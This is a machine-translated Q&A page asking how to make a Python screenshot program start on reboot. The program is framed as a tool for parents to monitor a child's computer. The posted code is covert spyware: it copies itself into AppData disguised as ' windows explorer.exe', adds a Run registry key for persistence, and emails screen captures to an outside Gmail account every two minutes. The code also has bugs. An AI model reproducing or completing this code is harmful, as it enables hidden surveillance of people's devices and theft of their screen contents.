我如何使我的python code.exe文件在系统重新引导时自动启动

问题描述 投票:-1回答:1

为什么我正在处理项目名称“父母如何监控孩子”我必须建议我的想法是我编写了一个python脚本,该脚本将子设备的屏幕截图发送给父母的邮件。一个特定的时间间隔。

现在我要添加如何使我的python code.exe文件在系统重新引导时自动启动

无法使用我的启动代码

我认为是的启动代码是

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

我的Python完整代码

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(hidden_file_location):
        shutil.copyfile(sys.executable, hidden_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()

s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("sender email", "recipent email", msg.as_string())
    # Change this value to your liking
    time.sleep(120)
python python-3.x subprocess
1个回答
0
投票

尝试设置界线

os.environ['DISPLAY'] = ':0'

仅低于您的进口商品。

© www.soinside.com 2019 - 2024. All rights reserved.